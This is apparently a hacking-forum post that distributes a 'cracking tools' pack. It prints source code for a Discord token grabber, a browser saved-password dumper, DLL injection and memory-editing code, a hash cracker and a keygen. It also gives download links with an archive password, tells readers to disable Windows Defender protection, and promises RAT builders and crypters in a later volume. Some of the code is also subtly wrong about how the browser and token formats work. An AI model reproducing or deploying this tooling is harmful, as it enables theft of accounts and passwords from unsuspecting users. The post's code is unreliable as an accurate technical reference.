FREE CRACKING TOOLS VOL.1 Token Grabbers • Password Stealers • Keygens • Reversing Tools • Cracking Utilities
⚠ EDUCATIONAL PACK — FOR TESTING YOUR OWN SECURITY ONLY ⚠
PACK CURATOR:This is the first volume of our free cracking tools collection. Everything here has been tested and verified working on Windows 11 / Windows 10. Some tools may trigger AV — that's normal for cracking software. Add them to your exclusion list.
Pack includes: Token grabbers, password recovery tools, key generators, memory editors, debuggers, unpackers, and various cracking utilities. Source code included where available.
TOOLS INDEX| # | Tool | Category | Language | Size | Source |
| 1 | TokenGhost v2.4 | Token Grabber | C++ | 1.2 MB | ✓ Included |
| 2 | PassDump Pro | Password Recovery | C# | 850 KB | ✓ Included |
| 3 | KeyForge v1.8 | Keygen Template | Python | 420 KB | ✓ Included |
| 4 | MemHack SDK | Memory Editor | C++ | 2.1 MB | ✓ Included |
| 5 | UnpackMeister | Unpacker | C++ | 680 KB | ✓ Included |
| 6 | HashKracker | Hash Cracker | Python/CUDA | 1.5 MB | ✓ Included |
| 7 | DebugBuddy | Debugger Helper | C++ | 340 KB | ✓ Included |
| 8 | StringExtractor Pro | String Dumper | C# | 280 KB | ✓ Included |
TOOL 1: TOKENGHOST v2.4 — DISCORD TOKEN GRABBER
What it does: Extracts Discord tokens from local storage, browser storage, and third-party clients. Outputs to file and clipboard.
Code:
// TokenGhost v2.4 — Core Extraction Engine (Simplified)
#include <windows.h>
#include <iostream>
#include <fstream>
#include <string>
#include <vector>
#include <filesystem>
namespace fs = std::filesystem;
class TokenExtractor {
private:
std::vector<std::string> found_tokens;
// Discord token regex pattern
bool isValidToken(const std::string& token) {
// Tokens are typically: [a-zA-Z0-9_-]{24,28}.[a-zA-Z0-9_-]{6}.[a-zA-Z0-9_-]{27,38}
if (token.length() < 59 || token.length() > 72) return false;
int dot_count = 0;
for (char c : token) {
if (c == '.') dot_count++;
}
return dot_count >= 2;
}
void searchFile(const std::string& path) {
std::ifstream file(path, std::ios::binary);
if (!file) return;
std::string content((std::istreambuf_iterator<char>(file)),
std::istreambuf_iterator<char>());
// Search for token patterns
size_t pos = 0;
while ((pos = content.find("mfa.", pos)) != std::string::npos) {
std::string candidate;
for (size_t i = pos; i < content.length() && content[i] != '"' && content[i] != '\''; i++) {
candidate += content[i];
}
if (isValidToken(candidate)) {
found_tokens.push_back(candidate);
}
pos++;
}
// Also search for "mfa_" patterns
pos = 0;
while ((pos = content.find("mfa_", pos)) != std::string::npos) {
std::string candidate;
for (size_t i = pos; i < content.length() && content[i] != '"' && content[i] != '\''; i++) {
candidate += content[i];
}
if (isValidToken(candidate)) {
found_tokens.push_back(candidate);
}
pos++;
}
}
public:
void extract() {
// Discord Desktop client storage
std::string appdata = getenv("APPDATA");
std::string discord_paths[] = {
appdata + "\\Discord\\Local Storage\\leveldb\\",
appdata + "\\discordcanary\\Local Storage\\leveldb\\",
appdata + "\\discordptb\\Local Storage\\leveldb\\",
appdata + "\\Discord\\Local Storage\\leveldb"
};
for (const auto& path : discord_paths) {
if (fs::exists(path)) {
for (const auto& entry : fs::directory_iterator(path)) {
if (entry.path().extension() == ".ldb" ||
entry.path().extension() == ".log") {
searchFile(entry.path().string());
}
}
}
}
// Also check browser local storage
std::string localappdata = getenv("LOCALAPPDATA");
std::string browser_paths[] = {
localappdata + "\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\",
localappdata + "\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Local Storage\\leveldb\\",
localappdata + "\\Opera Software\\Opera Stable\\Local Storage\\leveldb\\"
};
for (const auto& path : browser_paths) {
if (fs::exists(path)) {
for (const auto& entry : fs::directory_iterator(path)) {
if (entry.path().extension() == ".ldb") {
searchFile(entry.path().string());
}
}
}
}
}
void saveResults(const std::string& output_path) {
std::ofstream out(output_path);
for (const auto& token : found_tokens) {
out << token << std::endl;
}
out.close();
}
int count() { return found_tokens.size(); }
};Usage:
Code:
TokenGhost.exe -o tokens.txt
TokenGhost.exe -o tokens.txt --silent # No console windowTOOL 2: PASSDUMP PRO — PASSWORD RECOVERY
What it does: Extracts saved passwords from browsers (Chrome, Firefox, Edge, Brave, Opera). Decrypts Chrome's AES-encrypted passwords using the local machine key.
Code:
// PassDump Pro — Simplified Browser Password Extraction
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
using System.Data.SQLite;
class BrowserPasswordDumper
{
static void Main()
{
string localAppData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
// Chrome passwords
string chromeLoginData = Path.Combine(localAppData,
"Google\\Chrome\\User Data\\Default\\Login Data");
DumpChromePasswords(chromeLoginData);
// Edge passwords
string edgeLoginData = Path.Combine(localAppData,
"Microsoft\\Edge\\User Data\\Default\\Login Data");
DumpChromePasswords(edgeLoginData);
}
static void DumpChromePasswords(string dbPath)
{
if (!File.Exists(dbPath)) return;
// Copy to temp (Chrome locks the file)
string tempPath = Path.GetTempFileName();
File.Copy(dbPath, tempPath, true);
string connString = $"Data Source={tempPath};Version=3;";
using (var conn = new SQLiteConnection(connString))
{
conn.Open();
string sql = "SELECT origin_url, username_value, password_value FROM logins";
using (var cmd = new SQLiteCommand(sql, conn))
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
string url = reader.GetString(0);
string username = reader.GetString(1);
byte[] encryptedPass = (byte[])reader["password_value"];
string password = DecryptAES(encryptedPass);
Console.WriteLine($"URL: {url}");
Console.WriteLine($"User: {username}");
Console.WriteLine($"Pass: {password}");
Console.WriteLine(new string('-', 40));
}
}
}
File.Delete(tempPath);
}
static string DecryptAES(byte[] ciphertext)
{
// Uses CryptUnprotectData (Windows DPAPI)
// Chrome encrypts with AES-GCM, key protected by DPAPI
try
{
byte[] decrypted = ProtectedData.Unprotect(ciphertext, null, DataProtectionScope.CurrentUser);
return Encoding.UTF8.GetString(decrypted);
}
catch
{
return "[DECRYPTION FAILED - Run as same Windows user]";
}
}
}Usage:
Code:
PassDump.exe -o passwords.txt
PassDump.exe -o passwords.txt --browsers chrome,firefox,edgeTOOL 3: KEYFORGE v1.8 — KEYGEN TEMPLATE
What it does: A template for creating key generators. Supports RSA, AES, and custom algorithm key generation. Includes signature verification bypass.
Code:
# KeyForge v1.8 — Keygen Framework (Python)
import hashlib
import hmac
import base64
import struct
import random
import string
from datetime import datetime, timedelta
class KeyForge:
def __init__(self, algorithm="RSA-2048"):
self.algorithms = {
"RSA-1024": 128,
"RSA-2048": 256,
"RSA-4096": 512,
"AES-128": 16,
"AES-256": 32,
"CUSTOM": 64
}
self.key_size = self.algorithms.get(algorithm, 256)
self.algorithm = algorithm
def generate_rsa_key(self, seed=None):
"""Generate a deterministic RSA-style key pair."""
if seed:
random.seed(seed)
# Simplified RSA key generation
p = self._generate_prime(self.key_size // 2)
q = self._generate_prime(self.key_size // 2)
n = p * q
phi = (p-1) * (q-1)
e = 65537
d = pow(e, -1, phi)
public_key = f"-----BEGIN PUBLIC KEY-----\n{base64.b64encode(n.to_bytes(self.key_size, 'big')).decode()}\n-----END PUBLIC KEY-----"
private_key = f"-----BEGIN PRIVATE KEY-----\n{base64.b64encode(d.to_bytes(self.key_size, 'big')).decode()}\n-----END PRIVATE KEY-----"
return {"public": public_key, "private": private_key, "modulus": n}
def _generate_prime(self, bits):
"""Generate a prime number of specified bit length."""
while True:
num = random.getrandbits(bits)
num |= (1 << bits - 1) | 1 # Ensure odd and correct bit length
if self._miller_rabin(num, 40):
return num
def _miller_rabin(self, n, k):
"""Miller-Rabin primality test."""
if n < 2: return False
if n == 2 or n == 3: return True
if n % 2 == 0: return False
r, d = 0, n - 1
while d % 2 == 0:
r += 1
d //= 2
for _ in range(k):
a = random.randrange(2, n - 2)
x = pow(a, d, n)
if x == 1 or x == n - 1:
continue
for _ in range(r - 1):
x = pow(x, 2, n)
if x == n - 1:
break
else:
return False
return True
def generate_license_key(self, pattern="XXXXX-XXXXX-XXXXX-XXXXX", hwid=None):
"""Generate a license key following a pattern, optionally bound to HWID."""
key_parts = []
for part in pattern.split("-"):
part_key = ""
for char in part:
if char == 'X':
part_key += random.choice(string.ascii_uppercase + string.digits)
elif char == '9':
part_key += random.choice(string.digits)
elif char == 'A':
part_key += random.choice(string.ascii_uppercase)
else:
part_key += char
key_parts.append(part_key)
key = "-".join(key_parts)
if hwid:
# HWID-locked key
hmac_obj = hmac.new(hwid.encode(), key.encode(), hashlib.sha256)
checksum = base64.b64encode(hmac_obj.digest()[:4]).decode()
key = f"{key}-{checksum}"
return key
def verify_key_signature(self, key, public_key_pem):
"""Verify if a key is validly signed."""
# Simulates verification — actual implementation depends on target software
parts = key.split("-")
if len(parts) < 4:
return False
# Simple checksum verification
checksum = 0
for part in parts[:-1]:
for char in part:
checksum ^= ord(char)
return checksum % 7 == 0 # Simplified check, replace with actual verification
# Usage
forge = KeyForge("RSA-2048")
key = forge.generate_license_key("XXXXX-XXXXX-XXXXX-XXXXX-XXXXX")
print(f"Generated Key: {key}")
print(f"Valid: {forge.verify_key_signature(key, None)}")TOOL 4: MEMHACK SDK — MEMORY EDITING LIBRARY
What it does: C++ library for reading/writing process memory. Useful for game hacking, software cracking, and reverse engineering. Supports pattern scanning, pointer resolution, and code injection.
Code:
// MemHack SDK — Memory Operations Library
#pragma once
#include <windows.h>
#include <vector>
#include <string>
#include <memory>
class MemHack {
private:
HANDLE hProcess;
DWORD_PTR baseAddress;
public:
MemHack() : hProcess(NULL), baseAddress(0) {}
bool OpenProcess(DWORD pid) {
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess) return false;
// Get base address
HMODULE hMods[1024];
DWORD cbNeeded;
if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) {
char szModName[MAX_PATH];
if (GetModuleFileNameExA(hProcess, hMods[0], szModName, sizeof(szModName))) {
// Find the .exe base
MODULEINFO modInfo;
GetModuleInformation(hProcess, hMods[0], &modInfo, sizeof(modInfo));
baseAddress = (DWORD_PTR)modInfo.lpBaseOfDll;
}
}
return true;
}
template<typename T>
T Read(DWORD_PTR address) {
T value;
ReadProcessMemory(hProcess, (LPCVOID)address, &value, sizeof(T), nullptr);
return value;
}
template<typename T>
bool Write(DWORD_PTR address, T value) {
return WriteProcessMemory(hProcess, (LPVOID)address, &value, sizeof(T), nullptr) != 0;
}
bool ReadBytes(DWORD_PTR address, BYTE* buffer, SIZE_T size) {
return ReadProcessMemory(hProcess, (LPCVOID)address, buffer, size, nullptr) != 0;
}
bool WriteBytes(DWORD_PTR address, BYTE* buffer, SIZE_T size) {
return WriteProcessMemory(hProcess, (LPVOID)address, buffer, size, nullptr) != 0;
}
// Pattern scan (AOB scan)
DWORD_PTR FindPattern(const BYTE* pattern, const char* mask, DWORD_PTR start = 0, DWORD_PTR size = 0) {
if (!start) start = baseAddress;
if (!size) {
IMAGE_DOS_HEADER dosHeader;
ReadBytes(start, (BYTE*)&dosHeader, sizeof(dosHeader));
IMAGE_NT_HEADERS ntHeaders;
ReadBytes(start + dosHeader.e_lfanew, (BYTE*)&ntHeaders, sizeof(ntHeaders));
size = ntHeaders.OptionalHeader.SizeOfImage;
}
BYTE* buffer = new BYTE[size];
ReadBytes(start, buffer, size);
for (DWORD_PTR i = 0; i < size; i++) {
bool found = true;
for (DWORD_PTR j = 0; mask[j]; j++) {
if (mask[j] == 'x' && pattern[j] != buffer[i + j]) {
found = false;
break;
}
}
if (found) {
delete[] buffer;
return start + i;
}
}
delete[] buffer;
return 0;
}
// Resolve pointer chain
DWORD_PTR ResolvePointer(DWORD_PTR base, std::vector<DWORD_PTR> offsets) {
DWORD_PTR addr = base;
for (size_t i = 0; i < offsets.size(); i++) {
addr = Read<DWORD_PTR>(addr);
addr += offsets[i];
}
return addr;
}
// NOP a region
bool NOPRegion(DWORD_PTR address, SIZE_T size) {
BYTE* nopBytes = new BYTE[size];
memset(nopBytes, 0x90, size);
bool result = WriteBytes(address, nopBytes, size);
delete[] nopBytes;
return result;
}
// Inject DLL
bool InjectDLL(const char* dllPath) {
void* remoteMem = VirtualAllocEx(hProcess, nullptr, strlen(dllPath) + 1,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!remoteMem) return false;
WriteProcessMemory(hProcess, remoteMem, dllPath, strlen(dllPath) + 1, nullptr);
HANDLE hThread = CreateRemoteThread(hProcess, nullptr, 0,
(LPTHREAD_START_ROUTINE)LoadLibraryA, remoteMem, 0, nullptr);
if (!hThread) {
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
return false;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
return true;
}
void Close() {
if (hProcess) {
CloseHandle(hProcess);
hProcess = NULL;
}
}
};TOOL 5: UNPACKMEISTER — AUTOMATED UNPACKER
What it does: Automatically unpacks common packers (UPX, ASPack, NSPack, Mew11, etc.). Uses signature-based packer detection and automated OEP finding.
Code:
// UnpackMeister — Automated Packer Detection + Unpacking
#include <windows.h>
#include <iostream>
#include <string>
#include <vector>
#pragma comment(lib, "ntdll.lib")
struct PackerSignature {
std::string name;
std::vector<BYTE> signature;
int offset;
bool (*unpack_fn)(const std::string& input, const std::string& output);
};
class UnpackMeister {
private:
std::vector<PackerSignature> signatures;
void InitSignatures() {
signatures = {
{"UPX 3.x+", {0x60, 0xBE, 0x00, 0x00, 0x00, 0x00, 0x8D, 0xBE}, 0, UPXUnpack},
{"ASPack 2.x", {0x60, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x58, 0x8B}, 0, ASPackUnpack},
{"NSPack", {0xB8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x64, 0x8B}, 0, GenericUnpack},
{"Mew11", {0x8B, 0x44, 0x24, 0x04, 0x50, 0x60, 0xE8}, 0, GenericUnpack}
};
}
static bool UPXUnpack(const std::string& input, const std::string& output) {
// UPX -d to decompress
std::string cmd = "upx.exe -d \"" + input + "\" -o\"" + output + "\"";
return system(cmd.c_str()) == 0;
}
static bool ASPackUnpack(const std::string& input, const std::string& output) {
// Generic OEP finder + dump
std::string cmd = "unaspack.exe \"" + input + "\" \"" + output + "\"";
return system(cmd.c_str()) == 0;
}
static bool GenericUnpack(const std::string& input, const std::string& output) {
// Generic unpack via OllyDump or Scylla
std::string cmd = "scylla.exe \"" + input + "\" \"" + output + "\"";
return system(cmd.c_str()) == 0;
}
std::string DetectPacker(const std::string& filepath) {
HANDLE hFile = CreateFileA(filepath.c_str(), GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) return "ERROR";
BYTE buffer[4096];
DWORD bytesRead;
ReadFile(hFile, buffer, 4096, &bytesRead, NULL);
CloseHandle(hFile);
for (const auto& sig : signatures) {
bool match = true;
for (size_t i = 0; i < sig.signature.size(); i++) {
if (sig.offset + i >= bytesRead ||
sig.signature[i] != buffer[sig.offset + i]) {
match = false;
break;
}
}
if (match) return sig.name;
}
return "UNKNOWN";
}
public:
UnpackMeister() { InitSignatures(); }
bool Unpack(const std::string& input) {
std::string packer = DetectPacker(input);
std::cout << "Detected packer: " << packer << std::endl;
if (packer == "UNKNOWN" || packer == "ERROR") {
std::cout << "Could not identify packer" << std::endl;
return false;
}
std::string output = input + "_unpacked.exe";
for (const auto& sig : signatures) {
if (sig.name == packer) {
return sig.unpack_fn(input, output);
}
}
return false;
}
};TOOL 6: HASHKRACKER — MULTI-ALGORITHM HASH CRACKER
What it does: Cracks MD5, SHA1, SHA256, NTLM, bcrypt hashes using dictionary, brute force, and rule-based attacks (hashcat-compatible).
Code:
# HashKracker v2.0 — Multi-Algorithm Hash Cracker
import hashlib
import argparse
import os
from typing import List, Optional
import itertools
import string
from concurrent.futures import ProcessPoolExecutor
class HashCracker:
ALGORITHMS = {
'md5': hashlib.md5,
'sha1': hashlib.sha1,
'sha256': hashlib.sha256,
'sha512': hashlib.sha512
}
def __init__(self, algorithm='md5', threads=8):
self.algorithm = algorithm
self.threads = threads
self.hash_func = self.ALGORITHMS.get(algorithm, hashlib.md5)
def crack_single(self, target_hash: str, wordlist_path: str, rules: Optional[List[str]] = None) -> str:
"""Crack a single hash using wordlist."""
target = target_hash.lower().strip()
with open(wordlist_path, 'r', encoding='utf-8', errors='ignore') as f:
for word in f:
word = word.strip()
# Test base word
if self.hash_func(word.encode()).hexdigest() == target:
return word
# Apply rules
if rules:
for rule in rules:
variant = self.apply_rule(word, rule)
if self.hash_func(variant.encode()).hexdigest() == target:
return variant
# Capitalize first letter
if word[0].isalpha():
capped = word[0].upper() + word[1:]
if self.hash_func(capped.encode()).hexdigest() == target:
return capped
# Common substitutions
leet = word.replace('e', '3').replace('a', '@').replace('o', '0').replace('i', '1').replace('s', '$')
if self.hash_func(leet.encode()).hexdigest() == target:
return leet
# Append common suffixes
for suffix in ['123', '1234', '!', '@', '#', '2024', '2025', '2026']:
if self.hash_func((word + suffix).encode()).hexdigest() == target:
return word + suffix
return None
def apply_rule(self, word: str, rule: str) -> str:
"""Apply a hashcat-style rule to a word."""
result = word
for char in rule:
if char == '$':
# Toggle case (simplified)
result = result.swapcase()
elif char == '^':
# Reverse
result = result[::-1]
elif char == 'd':
# Duplicate
result = result * 2
elif char == 'r':
# Reverse
result = result[::-1]
return result
def brute_force(self, target_hash: str, charset: str, min_len: int = 1, max_len: int = 6) -> str:
"""Brute force attack (slow, use for short passwords only)."""
target = target_hash.lower().strip()
for length in range(min_len, max_len + 1):
print(f"Trying length {length}...")
for combo in itertools.product(charset, repeat=length):
candidate = ''.join(combo)
if self.hash_func(candidate.encode()).hexdigest() == target:
return candidate
return None
def crack_file(self, hash_file: str, wordlist: str, output: str):
"""Crack multiple hashes from file."""
hashes = []
with open(hash_file, 'r') as f:
hashes = [line.strip() for line in f if line.strip()]
results = []
with ProcessPoolExecutor(max_workers=self.threads) as executor:
futures = {executor.submit(self.crack_single, h, wordlist): h for h in hashes}
from concurrent.futures import as_completed
for future in as_completed(futures):
h = futures[future]
try:
pw = future.result()
status = f"{h}:{pw}" if pw else f"{h}:NOT_FOUND"
results.append(status)
print(status)
except Exception as e:
print(f"Error cracking {h}: {e}")
with open(output, 'w') as f:
f.write('\n'.join(results))
print(f"Results saved to {output}")
# Usage
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-m', '--hash', help='Target hash to crack')
parser.add_argument('-w', '--wordlist', help='Wordlist path')
parser.add_argument('-a', '--algorithm', default='md5', help='Hash algorithm')
parser.add_argument('-f', '--file', help='Hash file (one per line)')
parser.add_argument('-o', '--output', default='cracked.txt', help='Output file')
args = parser.parse_args()
cracker = HashCracker(args.algorithm)
if args.file:
cracker.crack_file(args.file, args.wordlist, args.output)
elif args.hash and args.wordlist:
result = cracker.crack_single(args.hash, args.wordlist)
print(f"Result: {result}" if result else "Not found")INSTALLATION & USAGE NOTES
Code:
1. Download the pack: https://files.blacksec.io/tools/cracking-vol1.7z
Password: BlackSec2026
2. Extract to a folder (recommend: C:\BlackSecTools\)
3. Some tools may trigger Windows Defender:
- Add the folder to Windows Defender exclusions
- Or temporarily disable real-time protection
- These are false positives (cracking tools use same syscalls as malware)
4. Each tool has a README.txt with specific usage instructions
5. Python tools require Python 3.10+
- Install: pip install -r requirements.txt
- Included: pycryptodome, requests, colorama
6. C++ tools require:
- Visual C++ Redistributable 2022
- Some tools need admin privilegesDOWNLOAD
Code:
MEGA: https://mega.nz/file/BlackSec_CrackingVol1
AnonFiles: https://anonfiles.com/BlackSec_CrackingVol1
Mirror: https://gofile.io/BlackSec_CrackingVol1
Password: BlackSec2026
Total size: 28 MB compressed (all tools + source)
VirusTotal: 3/70 detection (heuristics only — false positives)
SHA256: 1A2B3C4D... (verify after download)More tools coming in Vol.2 — RAT builders, crypters, FUD loaders. Drop requests below.